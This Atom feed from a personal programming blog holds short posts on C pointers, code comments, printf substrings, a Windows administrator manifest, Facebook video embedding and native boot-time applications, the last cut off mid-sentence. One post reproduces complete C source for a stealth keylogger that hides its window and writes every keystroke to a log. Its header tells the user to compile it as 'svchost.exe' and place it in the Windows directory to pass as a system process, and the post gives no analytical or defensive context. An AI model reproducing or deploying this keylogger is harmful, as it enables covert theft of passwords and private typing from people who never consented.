<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5844808105095076801</id><updated>2024-10-19T08:45:54.824-07:00</updated><title type='text'>Hello World for Nearly Everything!!!</title><subtitle type='html'>Hello Coding is collection of small steps in different direction. I&#39;ll try to make sure that these steps are not larger the &quot;Hello World&quot; :)</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>8</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-4960101806843235044</id><published>2016-06-06T02:41:00.001-07:00</published><updated>2016-06-06T03:00:53.113-07:00</updated><title type='text'>Embedding facebook video </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
http://stackoverflow.com/questions/22601429/play-facebook-video-in-android-app
https://developers.facebook.com/docs/plugins/embedded-video-player
&lt;br /&gt;&lt;/div&gt;
  &lt;!-- Load Facebook SDK for JavaScript --&gt;
  &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
  &lt;script&gt;(function(d, s, id) {
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)) return;
    js = d.createElement(s); js.id = id;
    js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&quot;;
    fjs.parentNode.insertBefore(js, fjs);
  }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;

  &lt;!-- Your embedded video player code --&gt;
  &lt;div class=&quot;fb-video&quot; data-href=&quot;https://www.facebook.com/facebook/videos/10153231379946729/&quot; data-width=&quot;500&quot; data-show-text=&quot;false&quot;&gt;
    &lt;div class=&quot;fb-xfbml-parse-ignore&quot;&gt;
      &lt;blockquote cite=&quot;https://www.facebook.com/facebook/videos/10153231379946729/&quot;&gt;
        &lt;a href=&quot;https://www.facebook.com/facebook/videos/10153231379946729/&quot;&gt;How to Share With Just Friends&lt;/a&gt;
        &lt;p&gt;How to share with just friends.&lt;/p&gt;
        Posted by &lt;a href=&quot;https://www.facebook.com/facebook/&quot;&gt;Facebook&lt;/a&gt; on Friday, December 5, 2014
      &lt;/blockquote&gt;
    &lt;/div&gt;
  &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/4960101806843235044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2016/06/embedding-facebook-video.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/4960101806843235044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/4960101806843235044'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2016/06/embedding-facebook-video.html' title='Embedding facebook video '/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-5634918121917052656</id><published>2011-05-26T08:12:00.000-07:00</published><updated>2011-05-26T08:12:23.030-07:00</updated><title type='text'>Run as administrator in Windows 7</title><content type='html'>&lt;b&gt;To create a manifest for a C or C++ project in Microsoft Visual Studio 2005&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1. Open your project in Microsoft Visual Studio 2005.&lt;br /&gt;
&lt;br /&gt;
2. Under Project, select Properties.&lt;br /&gt;
&lt;br /&gt;
3. In Properties, select Manifest Tool, and then select Input and Output.&lt;br /&gt;
&lt;br /&gt;
4. Add in the name of your application manifest file under Additional manifest files. A sample manifest file is given below.&lt;br /&gt;
&lt;br /&gt;
5. Rebuild your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;PRE&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&amp;gt;
&amp;lt;assembly xmlns=&amp;quot;urn:schemas-microsoft-com:asm.v1&amp;quot; manifestVersion=&amp;quot;1.0&amp;quot;&amp;gt;
   &amp;lt;ms_asmv2:trustInfo xmlns:ms_asmv2=&amp;quot;urn:schemas-microsoft-com:asm.v2&amp;quot;&amp;gt;
      &amp;lt;ms_asmv2:security&amp;gt;
         &amp;lt;ms_asmv2:requestedPrivileges&amp;gt;
            &amp;lt;ms_asmv2:requestedExecutionLevel level=&amp;quot;requireAdministrator&amp;quot;&amp;gt;
            &amp;lt;/ms_asmv2:requestedExecutionLevel&amp;gt;
         &amp;lt;/ms_asmv2:requestedPrivileges&amp;gt;
      &amp;lt;/ms_asmv2:security&amp;gt;
   &amp;lt;/ms_asmv2:trustInfo&amp;gt;
&amp;lt;/assembly&amp;gt;
&lt;/PRE&gt;</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/5634918121917052656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2011/05/run-as-administrator-in-windows-7.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/5634918121917052656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/5634918121917052656'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2011/05/run-as-administrator-in-windows-7.html' title='Run as administrator in Windows 7'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-5837546369113810243</id><published>2011-04-27T23:51:00.000-07:00</published><updated>2011-04-28T01:51:57.919-07:00</updated><title type='text'>No pointers.. No Glory</title><content type='html'>I have seen many fresh candidates who show up for C/C++ jobs and they don&#39;t know anything about pointers. Some of junior S/W engineers don&#39;t know pointers as well. This is really disappointing :( Here are some basics that everyone should know.&lt;br /&gt;&lt;br /&gt;int VAR = 10;&lt;br /&gt;&lt;br /&gt;What this declaration really says is:&lt;br /&gt;1. There is some memory reserved for VAR&lt;br /&gt;2. Size of this memory is 4 bytes as sizeof(int) == 4&lt;br /&gt;3. content of this memory is 10&lt;br /&gt;&lt;br /&gt;Usually everyone know this, but there is one more detail that people forget&lt;br /&gt;4. There is an address of the memory... we can assume for now that memory for VAR starts from 0x0400 to 0x0403. We call this address of VAR.&lt;br /&gt;&lt;br /&gt;But how can we really know what is the address of VAR. That&#39;s simple!&lt;br /&gt;&lt;br /&gt;cout &lt;&lt; &amp;VAR;&lt;br /&gt;&lt;br /&gt;&amp; is a construct of C that can be used to get the address of any variable. &amp;VAR is also called reference of VAR. Above statement will print the actual address of VAR.&lt;br /&gt;&lt;br /&gt;Now we declare a pointer&lt;br /&gt;&lt;br /&gt;int *PTR = &amp;VAR; //also means int * PTR = 0x0400;&lt;br /&gt;&lt;br /&gt;This declaration means&lt;br /&gt;1. There is some memory reserved for PTR&lt;br /&gt;2. Size of this memory is 4 bytes as all pointers are of 4 bytes in 32 bit architecture&lt;br /&gt;3. content of this memory is 0x0400&lt;br /&gt;4. There is an address of the memory... we can assume for now that memory for PTR starts from 0x0800 to 0x0803. We call this address of PTR.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is what we get in following statements.&lt;br /&gt;&lt;br /&gt;1. cout &lt;&lt; VAR;  //10&lt;br /&gt;2. cout &lt;&lt; &amp;VAR; //0x0400&lt;br /&gt;3. cout &lt;&lt; PTR;  //0x0400&lt;br /&gt;4. cout &lt;&lt; &amp;PTR; //0x0800&lt;br /&gt;&lt;br /&gt;Now how to use PTR to access VAR? For that C gives us a construct &lt;span style=&quot;font-weight:bold;&quot;&gt;*&lt;/span&gt;. An asterisk (*) and an ampersand (&amp;) are opposite to each other. &amp; gets address of a variable while * gets variable from an address.&lt;br /&gt;&lt;br /&gt;*PTR&lt;br /&gt;using cout 3: *PTR == *(0x0400)&lt;br /&gt;using cout 2: *(0x0400) = *(&amp;VAR)&lt;br /&gt;we know sin(cosin(x)) == x similarly * and &amp; cancel each other out so &lt;br /&gt;*(&amp;VAR) = VAR&lt;br /&gt;&lt;br /&gt;So&lt;br /&gt;cout &lt;&lt; *PTR; //10&lt;br /&gt;cout &lt;&lt; var;  //10</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/5837546369113810243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2011/04/no-pointers-no-glory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/5837546369113810243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/5837546369113810243'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2011/04/no-pointers-no-glory.html' title='No pointers.. No Glory'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-7055596554368836889</id><published>2010-12-31T03:43:00.000-08:00</published><updated>2011-05-04T01:01:15.894-07:00</updated><title type='text'>Keylogger based on GetAsyncKeyState</title><content type='html'>/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * &lt;br /&gt;*                                                                                  *&lt;br /&gt;*  File: SVCHOST.c                                                                 *&lt;br /&gt;*                                                                                  *&lt;br /&gt;*  Purpose: a stealth keylogger, writes to file &quot;svchost.log&quot;                      *&lt;br /&gt;*                                                                                  *       &lt;br /&gt;*  Usage: compile to svchost.exe, copy to c:\%windir%\ and run it.                 *&lt;br /&gt;*                                                                                  *&lt;br /&gt;*  Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved   *&lt;br /&gt;*                                                                                  *&lt;br /&gt;*  This program is free software; you can redistribute it and/or                   *&lt;br /&gt;*  modify it under the terms of the GNU General Public License                     *&lt;br /&gt;*  as published by the Free Software Foundation; either version 2                  *&lt;br /&gt;*  of the License, or (at your option) any later version.                          *&lt;br /&gt;*                                                                                  *&lt;br /&gt;*  This program is distributed in the hope that it will be useful,                 *&lt;br /&gt;*  but WITHOUT ANY WARRANTY; without even the implied warranty of                  *&lt;br /&gt;*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                   *&lt;br /&gt;*  GNU General Public License for more details.                                    *&lt;br /&gt;*                                                                                  *&lt;br /&gt;*  You should have received a copy of the GNU General Public License               *&lt;br /&gt;*  along with this program; if not, write to the Free Software                     *&lt;br /&gt;*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.     *&lt;br /&gt;*                                                                                  *&lt;br /&gt;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;&lt;br /&gt;#include &amp;lt;windows.h&gt;&lt;br /&gt;#include &amp;lt;stdio.h&gt;&lt;br /&gt;#include &amp;lt;winuser.h&gt;&lt;br /&gt;#include &amp;lt;windowsx.h&gt;&lt;br /&gt;&lt;br /&gt;#define BUFSIZE 80&lt;br /&gt;&lt;br /&gt;int test_key(void);&lt;br /&gt;int create_key(char *);&lt;br /&gt;int get_keys(void);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt; HWND stealth; /*creating stealth (window is not visible)*/&lt;br /&gt; AllocConsole();&lt;br /&gt; stealth=FindWindowA(&quot;ConsoleWindowClass&quot;,NULL);&lt;br /&gt; ShowWindow(stealth,0);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; int t=get_keys();&lt;br /&gt;&lt;br /&gt; return t;&lt;br /&gt;}  &lt;br /&gt;&lt;br /&gt;int get_keys(void)&lt;br /&gt;{&lt;br /&gt; short character;&lt;br /&gt; while(1)&lt;br /&gt; {&lt;br /&gt;  Sleep(10);/*to prevent 100% cpu usage*/&lt;br /&gt;  for(character=8;character&lt;=222;character++)&lt;br /&gt;  {&lt;br /&gt;   if(GetAsyncKeyState(character)==-32767)&lt;br /&gt;   {   &lt;br /&gt;&lt;br /&gt;    FILE *file;&lt;br /&gt;    file=fopen(&quot;svchost.log&quot;,&quot;a+&quot;);&lt;br /&gt;    if(file==NULL)&lt;br /&gt;    {&lt;br /&gt;     return 1;&lt;br /&gt;    }            &lt;br /&gt;    if(file!=NULL)&lt;br /&gt;    {        &lt;br /&gt;     if((character&gt;=39)&amp;&amp;(character&lt;=64))&lt;br /&gt;     {&lt;br /&gt;      fputc(character,file);&lt;br /&gt;      fclose(file);&lt;br /&gt;      break;&lt;br /&gt;     }        &lt;br /&gt;     else if((character&gt;64)&amp;&amp;(character&lt;91))&lt;br /&gt;     {&lt;br /&gt;      character+=32;&lt;br /&gt;      fputc(character,file);&lt;br /&gt;      fclose(file);&lt;br /&gt;      break;&lt;br /&gt;     }&lt;br /&gt;     else&lt;br /&gt;     { &lt;br /&gt;      switch(character)&lt;br /&gt;      {&lt;br /&gt;      case VK_SPACE:&lt;br /&gt;       fputc(&#39; &#39;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;    &lt;br /&gt;      case VK_SHIFT:&lt;br /&gt;       fputs(&quot;[SHIFT]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;                                            &lt;br /&gt;      case VK_RETURN:&lt;br /&gt;       fputs(&quot;\n[ENTER]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_BACK:&lt;br /&gt;       fputs(&quot;[BACKSPACE]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_TAB:&lt;br /&gt;       fputs(&quot;[TAB]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_CONTROL:&lt;br /&gt;       fputs(&quot;[CTRL]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;    &lt;br /&gt;      case VK_DELETE:&lt;br /&gt;       fputs(&quot;[DEL]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_OEM_1:&lt;br /&gt;       fputs(&quot;[;:]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_OEM_2:&lt;br /&gt;       fputs(&quot;[/?]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_OEM_3:&lt;br /&gt;       fputs(&quot;[`~]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_OEM_4:&lt;br /&gt;       fputs(&quot;[ [{ ]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_OEM_5:&lt;br /&gt;       fputs(&quot;[\\|]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;                                &lt;br /&gt;      case VK_OEM_6:&lt;br /&gt;       fputs(&quot;[ ]} ]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_OEM_7:&lt;br /&gt;       fputs(&quot;[&#39;\&quot;]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;       /*case VK_OEM_PLUS:&lt;br /&gt;       fputc(&#39;+&#39;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;       case VK_OEM_COMMA:&lt;br /&gt;       fputc(&#39;,&#39;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;       case VK_OEM_MINUS:&lt;br /&gt;       fputc(&#39;-&#39;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;       case VK_OEM_PERIOD:&lt;br /&gt;       fputc(&#39;.&#39;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;*/&lt;br /&gt;      case VK_NUMPAD0:&lt;br /&gt;      case VK_NUMPAD1:&lt;br /&gt;      case VK_NUMPAD2:&lt;br /&gt;      case VK_NUMPAD3:&lt;br /&gt;      case VK_NUMPAD4:&lt;br /&gt;      case VK_NUMPAD5:&lt;br /&gt;      case VK_NUMPAD6:&lt;br /&gt;      case VK_NUMPAD7:&lt;br /&gt;      case VK_NUMPAD8:&lt;br /&gt;      case VK_NUMPAD9:&lt;br /&gt;       fputc(character-60,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      case VK_CAPITAL:&lt;br /&gt;       fputs(&quot;[CAPS LOCK]&quot;,file);&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      default:&lt;br /&gt;       fclose(file);&lt;br /&gt;       break;&lt;br /&gt;      }        &lt;br /&gt;     }    &lt;br /&gt;    }        &lt;br /&gt;   }    &lt;br /&gt;  }                  &lt;br /&gt;&lt;br /&gt; }&lt;br /&gt; return EXIT_SUCCESS;                            &lt;br /&gt;}                                                 &lt;br /&gt;&lt;br /&gt;&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;Taken from http://www.rohitab.com/discuss/topic/36622-c-keylogger/</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/7055596554368836889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2010/12/keylogger-based-on-getasynckeystate.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/7055596554368836889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/7055596554368836889'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2010/12/keylogger-based-on-getasynckeystate.html' title='Keylogger based on GetAsyncKeyState'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-3460427535854908533</id><published>2010-12-07T07:38:00.001-08:00</published><updated>2010-12-07T08:09:17.591-08:00</updated><title type='text'>Comments /*in code*/</title><content type='html'>Best code is the code that is easily readable. But again it is not always possible to write complex logic that way. I such cases your best option is to explain the code in simple English! yup comments were invented for a reason you know :D&lt;br /&gt;&lt;br /&gt;There are few philospphies that I have seen people adopting:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;1&gt; Comments are for noob&lt;/span&gt; &lt;br /&gt;Follower of this philosophy don&#39;t write comments at all. I have seen thousands of lines of code without comments. Only place they use comments are obsolete code :(&lt;br /&gt;&lt;br /&gt;This makes code hard to understand and hard to maintain. Always remember the maintainability of the code takes precedence over readability and writability.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;2&gt; Comments for everything&lt;/span&gt;&lt;br /&gt;This is some thing that my instructor in university wanted from us. Though this philosophy has it&#39;s own issues. I would recommend that all the instructors adopt this philosophy. This way kids are trained not to skip comments when they are under pressure.&lt;br /&gt;&lt;br /&gt;In professional environment this is not that great an idea. Sometime the green block of code takes too much attention. This makes code hard to read as well. There is a very big fat line between the first 2 categories and one should always reside on that line :)&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;3&gt;Comments are for coder&lt;/span&gt;&lt;br /&gt;This is most popular style people adopt. Developers use comments where the logic is so complex that even the write of the code got confused. So he wrote some comments so that he can recall the magic used there when he reads the comment.&lt;br /&gt;&lt;br /&gt;There are 2 issues here. First is that the usually the code could have been broken down in simpler sub sections. Second issue is that why didn&#39;t developer think of simpler logic in the first place :D&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;4&gt; Write code for human beings, not machines&lt;/span&gt;&lt;br /&gt;This is perhaps the most efficient way of writing comments. Always write code for a human reader. The machine will eventually understand you code once it is compiled. But there is no software that will make your code readable for a human reader. BTW I think this is an excellent idea for a product :P&lt;br /&gt;&lt;br /&gt;If your code is not readable... and there is nothing you can do to make it human reader write comments to make it readable :)</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/3460427535854908533/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2010/12/comments.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/3460427535854908533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/3460427535854908533'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2010/12/comments.html' title='Comments /*in code*/'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-3607771227262676966</id><published>2010-09-22T03:37:00.000-07:00</published><updated>2010-09-22T03:49:32.984-07:00</updated><title type='text'>printf for substring</title><content type='html'>There are situations when you don&#39;t want to print whole string. The first time when I was in need of such functionality was when I wanted to print &lt;span style=&quot;font-weight:bold;&quot;&gt;ANSI_STRING&lt;/span&gt; in driver level. This special data structure does not put a trailing &#39;\0&#39; at end of every string. Rather Each string has a field that store the length of the buffer. If you find yourself in any such situation fear not =) &lt;span style=&quot;font-weight:bold;&quot;&gt;printf &lt;/span&gt;can output a substring as well. All you need is the length of substring. Here is the code for that... enjoy!!!&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;&lt;br /&gt;#include &quot;stdio.h&quot;&lt;br /&gt;&lt;br /&gt;int main ()&lt;br /&gt;{&lt;br /&gt; char * hello = {&quot;Hello World! How are you doing?&quot;};&lt;br /&gt; int len = 12;&lt;br /&gt; printf(&quot;%.*s\n&quot;, len, hello);&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;Here is the output of this function:&lt;br /&gt;&lt;PRE&gt;&lt;br /&gt;Hello World!&lt;br /&gt;&lt;/PRE&gt;</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/3607771227262676966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2010/09/printf-for-substring.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/3607771227262676966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/3607771227262676966'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2010/09/printf-for-substring.html' title='printf for substring'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-8066561474635011715</id><published>2010-06-29T04:04:00.000-07:00</published><updated>2010-06-29T04:20:55.230-07:00</updated><title type='text'>Always try to check the spellings... and be consistent with them :)</title><content type='html'>Well this is the basic most important thing to to do. This helps you retrieve information easily. Today I spent 10 mins trying to figure out a problem. I was to retrieve data from some_analysis table. How did I know that a table with name some_analysis existed. That&#39;s easy I had a foreign_table that had a column named Some_Analysis_ID. So I constructed a query, but query failed to execute.&lt;br /&gt;&lt;br /&gt;select * from some_analysis where id = (select some_analysis_id from foreign_table where id = 13);&lt;br /&gt;&lt;br /&gt;I asked my colleague if this table existed and he verified that there was a table with this name. So after much effort I fond the DB schema, and guess what I found. Table name was some_analysEs&lt;br /&gt;&lt;br /&gt;I was mad first but realized that analyses are legal spellings as well :( The only problem was consistency</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/8066561474635011715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2010/06/always-try-to-check-spellings-and-be.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/8066561474635011715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/8066561474635011715'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2010/06/always-try-to-check-spellings-and-be.html' title='Always try to check the spellings... and be consistent with them :)'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5844808105095076801.post-6051085228068845587</id><published>2010-05-10T07:16:00.000-07:00</published><updated>2010-09-20T03:17:46.132-07:00</updated><title type='text'>Hello World for boot time native application</title><content type='html'>Hello world at user mode is not hard. Almost all of us have done that. Though it seemed hard at that time.&lt;br /&gt;&lt;br /&gt;Hello world at driver level is not that hard either. &lt;a href=&quot;http://www.codeproject.com/KB/system/driverdev.aspx&quot;&gt;here&lt;/a&gt; is a link to an excellent tutorial.&lt;br /&gt;&lt;br /&gt;Let me take you to a different level of application. The Native application. Native environment is different from our user mode in a sense that only Native API&#39;s are available. A most common example of native application is actochk.exe. If you think that u have never seen this exe... think again. Did you ever notice the blue box that shows at windows startup. Yup that&#39;s autochk.exe. This is the application that checks the disk health at boot time.&lt;br /&gt;&lt;br /&gt;How good it would be to write an application that shows hello world at that time.&lt;br /&gt;&lt;br /&gt;Tools you need in this adventure are&lt;br 